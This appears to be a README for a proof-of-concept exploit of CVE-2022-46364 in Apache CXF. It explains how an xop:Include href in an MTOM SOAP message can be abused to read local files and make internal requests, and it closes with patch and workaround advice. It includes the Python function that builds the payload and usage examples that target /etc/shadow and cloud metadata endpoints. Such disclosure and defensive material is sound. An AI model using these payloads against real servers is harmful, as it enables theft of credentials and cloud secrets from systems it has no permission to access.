CVE-2022-46364: Apache CXF MTOM XOP:Include SSRF to LFI Exploit

⚠️ DISCLAIMER

THIS TOOL IS FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING ONLY

This proof-of-concept exploit is provided for educational purposes to help security professionals understand the vulnerability and protect their systems. Unauthorized access to computer systems is illegal. The author assumes no responsibility for any misuse or damage caused by this tool. You must obtain explicit written permission from the system owner before testing. By using this tool, you agree to comply with all applicable laws.

---

📋 TABLE OF CONTENTS

1. Overview
2. Vulnerability Details
3. Technical Deep Dive
4. Exploit Usage
5. Installation & Requirements 6 Mitigation
6. References & Credits

---

📌 OVERVIEW

Attribute	Value
CVE ID	CVE-2022-46364
GHSA ID	GHSA-x3x3-qwjq-8gj4
Vulnerability Type	Server-Side Request Forgery (SSRF) → Local File Inclusion (LFI)
Affected Software	Apache CXF < 3.5.5, Apache CXF < 3.4.10
Severity	Critical
CVSS Score	9.8 (Critical)
Attack Vector	Network
Authentication	None required
Patch Versions	Apache CXF 3.5.5+, 3.4.10+

This exploit leverages a critical SSRF vulnerability in Apache CXF's MTOM (Message Transmission Optimization Mechanism) implementation to achieve Local File Inclusion (LFI) and internal network scanning capabilities.

---

🔬 VULNERABILITY DETAILS

The Core Issue

Apache CXF incorrectly validates the href attribute within xop:Include elements when processing MTOM-encoded SOAP messages. The library uses Java's URLConnection to dereference the URI without proper protocol restrictions, allowing attackers to specify:

• file:// - Read local files (LFI)
• http:// / https:// - Internal network requests (SSRF)
• ftp:// - FTP requests (potential for further exploitation)

Why This Matters

This vulnerability is particularly dangerous because:

1. No authentication required - Attackers can target any accessible SOAP endpoint
2. No special privileges needed - The server executes requests with its own privileges
3. Information disclosure - Can expose cloud metadata (AWS, GCP, Azure), configuration files, and source code
4. Network pivoting - The vulnerable server becomes a proxy for internal network reconnaissance

Affected Configurations

Any Apache CXF deployment that:

• Accepts MTOM-encoded SOAP messages
• Has at least one web service method with a parameter (any type)
• Uses versions prior to 3.5.5 (main branch) or 3.4.10 (legacy branch)

---

🧠 TECHNICAL DEEP DIVE

Protocol Background: MTOM and XOP

MTOM (Message Transmission Optimization Mechanism) is a W3C standard for optimizing binary data transmission in SOAP messages. It uses XOP (XML-binary Optimized Packaging) to include binary data references:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

Normally, href contains a CID (Content-ID) reference to a MIME part. However, Apache CXF's AttachmentUtil class processes href values as generic URIs without proper sanitization.

The Vulnerable Code Path

1. Request Parsing:

   • CXF receives a multipart/related HTTP request with Content-Type: application/xop+xml
   • AttachmentUtil.getAttachmentObject() processes xop:Include elements

2. URI Dereferencing:

   • The vulnerable method calls new URL(href).openStream() directly
   • No file:// protocol blocking occurs
   • No network restriction (e.g., no validation against internal IP ranges)

3. Response Embedding:

   • The fetched content is Base64-encoded and embedded in the SOAP response
   • The attacker receives the data in the SOAP envelope

Code Snippet (Vulnerable Pattern)

// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // No protocol validation!
    return new DataHandler(url.openStream());
}

Why LFI Works

The file:// protocol follows the same code path:

• file:///etc/passwd → Java opens /etc/passwd as a file stream
• File contents are returned as the attachment
• No filesystem restrictions beyond the CXF process user's permissions

Network Scanning Capability

By iterating through IPs and ports, attackers can:

• Discover internal services
• Access cloud metadata endpoints (169.254.169.254)
• Bypass network segmentation controls

---

🛠️ EXPLOIT USAGE

Command Syntax

usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only

options:
  -h, --help            Show this help message and exit
  -t TARGET, --target TARGET
                        Target base URL (e.g., http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        Web service endpoint path (default: /services/Service)
  -u URL, --url URL     External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)

Arguments Explained

Argument	Description	Example
-t, --target	Required. Base URL of the target Apache CXF service	http://10.10.10.50:8080
-e, --endpoint	Optional. SOAP endpoint path	/services/UserManagement
-u, --url	HTTP/HTTPS URL to fetch via SSRF	http://169.254.169.254/latest/user-data
-f, --file	Local file path to read via LFI	/etc/shadow, C:\ProgramData\secret.txt

---

📦 INSTALLATION & REQUIREMENTS

Prerequisites

# Python 3.6 or higher required
python --version

Installation Steps

# Clone the repository
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC

### requirements

requests>=2.28.0 urllib3>=1.26.0

---



### Core Implementation Details

#### 1. MTOM Payload Construction
```python
def create_mtom_payload(uri):
    """Create a multipart/related MTOM message with xop:Include"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

🛡️ MITIGATION

Official Fix

Upgrade to a patched version:

<!-- For Maven projects -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxws</artifactId>
    <version>3.5.5</version> <!-- or 3.4.10 for legacy -->
</dependency>

Workarounds (If Patching Is Not Possible)

1. Disable MTOM entirely (if not required):

   <jaxws:endpoint ...>
       <jaxws:properties>
           <entry key="mtom-enabled" value="false"/>
       </jaxws:properties>
   </jaxws:endpoint>
   

2. Network-level controls:

   • Restrict outbound connections from the CXF application server
   • Use firewalls to prevent access to internal IP ranges from the application tier
   • Implement egress filtering